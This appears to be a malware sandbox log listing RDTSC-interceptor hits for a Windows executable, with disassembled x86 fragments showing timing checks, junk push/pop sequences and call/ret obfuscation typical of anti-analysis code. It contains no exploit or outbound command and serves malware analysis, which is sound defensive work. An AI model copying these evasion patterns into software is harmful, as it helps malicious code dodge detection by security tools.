Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB929 second address: DFB957 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [ebp+122D2BA7h], ebx 0x00000010 lea ebx, dword ptr [ebp+12460559h] 0x00000016 mov dword ptr [ebp+122D2B7Ah], eax 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB957 second address: DFB95D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB95D second address: DFB963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB963 second address: DFB975 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F40B4517B16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB975 second address: DFB979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB979 second address: DFB97D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB9B2 second address: DFB9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F40B53604CCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1BA55 second address: E1BA64 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F40B4517B16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1BA64 second address: E1BA6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2FD1 second address: DF2FDB instructions: 0x00000000 rdtsc 0x00000002 je 00007F40B4517B16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1987B second address: E1988E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jbe 00007F40B53604C6h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E199B3 second address: E199CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B28h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E199CF second address: E199F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F40B53604D9h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19B69 second address: E19B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007F40B4517B1Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19D0A second address: E19D34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F40B53604CCh 0x00000010 jnc 00007F40B53604C6h 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19E88 second address: E19E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A0DE second address: E1A0EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A0EB second address: E1A0EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A0EF second address: E1A0FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A0FB second address: E1A0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A0FF second address: E1A127 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F40B53604D9h 0x0000000e pop esi 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A127 second address: E1A16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B4517B20h 0x00000009 popad 0x0000000a je 00007F40B4517B25h 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007F40B4517B1Dh 0x00000017 pushad 0x00000018 jmp 00007F40B4517B27h 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A539 second address: E1A541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A682 second address: E1A689 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A689 second address: E1A698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F40B53604C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A698 second address: E1A6AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c je 00007F40B4517B16h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A6AC second address: E1A6CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F40B53604CAh 0x0000000b jmp 00007F40B53604CBh 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A6CC second address: E1A6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A9A2 second address: E1A9BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F40B53604D0h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A9BE second address: E1A9C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0EB02 second address: E0EB0E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F40B53604C6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B8FA second address: E1B905 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F40B4517B16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E4A1 second address: E1E4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1EB14 second address: E1EB18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1EB18 second address: E1EB61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F40B53604DAh 0x0000000c jmp 00007F40B53604D4h 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a js 00007F40B53604C6h 0x00000020 popad 0x00000021 jmp 00007F40B53604CCh 0x00000026 popad 0x00000027 mov eax, dword ptr [eax] 0x00000029 push ecx 0x0000002a pushad 0x0000002b jc 00007F40B53604C6h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E226F1 second address: E226F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E226F9 second address: E226FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5AB0 second address: DE5ADC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F40B4517B25h 0x00000008 jmp 00007F40B4517B1Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26BEA second address: E26BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26BEF second address: E26BF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26DB4 second address: E26DB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26F0A second address: E26F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F40B4517B16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26F19 second address: E26F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2719B second address: E271C0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F40B4517B16h 0x00000008 jl 00007F40B4517B16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F40B4517B20h 0x00000015 popad 0x00000016 push ecx 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E274AB second address: E274B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E274B1 second address: E274B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28574 second address: E2857A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2857A second address: E28580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28580 second address: E28584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E286A4 second address: E286B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F40B4517B16h 0x0000000a popad 0x0000000b pushad 0x0000000c jno 00007F40B4517B16h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28A5F second address: E28A65 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29115 second address: E2911B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2911B second address: E2911F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E291C5 second address: E291C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E291C9 second address: E291D3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F40B53604C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E291D3 second address: E29219 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F40B4517B1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F40B4517B18h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov si, 9946h 0x0000002b push eax 0x0000002c pushad 0x0000002d jmp 00007F40B4517B1Bh 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29219 second address: E2921F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E292D7 second address: E292DC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E292DC second address: E292E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29762 second address: E2976C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F40B4517B1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A4D5 second address: E2A4D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A4D9 second address: E2A4F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B4517B25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B604 second address: E2B60A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B60A second address: E2B60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B60E second address: E2B667 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov esi, dword ptr [ebp+122D1D71h] 0x0000000f add dword ptr [ebp+122D1CCAh], edi 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D2AE6h] 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F40B53604C8h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 00000017h 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 sub dword ptr [ebp+122D1BD6h], ecx 0x0000003f xchg eax, ebx 0x00000040 jmp 00007F40B53604CDh 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B667 second address: E2B66B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B66B second address: E2B671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B671 second address: E2B676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2BF4A second address: E2BF4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CBBD second address: E2CBC7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CBC7 second address: E2CBCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2D7E9 second address: E2D7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E228 second address: E2E28A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F40B53604C6h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F40B53604C8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a mov edi, dword ptr [ebp+122D3009h] 0x00000030 push 00000000h 0x00000032 xor dword ptr [ebp+12460D45h], ebx 0x00000038 add esi, dword ptr [ebp+122D2A92h] 0x0000003e xchg eax, ebx 0x0000003f push edi 0x00000040 pushad 0x00000041 push ebx 0x00000042 pop ebx 0x00000043 jo 00007F40B53604C6h 0x00000049 popad 0x0000004a pop edi 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jbe 00007F40B53604CCh 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2D524 second address: E2D528 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2EA97 second address: E2EA9C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2F5B2 second address: E2F5C5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F40B4517B18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30799 second address: E307A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F40B53604C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E307A8 second address: E307AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDD55F second address: DDD573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F40B53604CBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32352 second address: E3236A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F40B4517B1Ah 0x0000000b jg 00007F40B4517B16h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3236A second address: E3236F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36985 second address: E369B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F40B4517B1Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F40B4517B24h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E369B1 second address: E369DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B53604CDh 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F40B53604D2h 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36F58 second address: E36F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37FC0 second address: E37FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37FC4 second address: E37FF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F40B4517B20h 0x00000008 jmp 00007F40B4517B24h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jp 00007F40B4517B20h 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39DDB second address: E39DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38F5F second address: E38F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F40B4517B16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39DDF second address: E39DE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39DE8 second address: E39E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F40B4517B18h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 jmp 00007F40B4517B26h 0x00000028 push 00000000h 0x0000002a jng 00007F40B4517B1Ch 0x00000030 mov dword ptr [ebp+1245C775h], ebx 0x00000036 and di, B667h 0x0000003b push 00000000h 0x0000003d jmp 00007F40B4517B1Dh 0x00000042 xchg eax, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 jbe 00007F40B4517B16h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39E50 second address: E39E5A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F40B53604C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3900D second address: E39013 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A054 second address: E3A068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F40B53604CFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3CFF5 second address: E3CFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
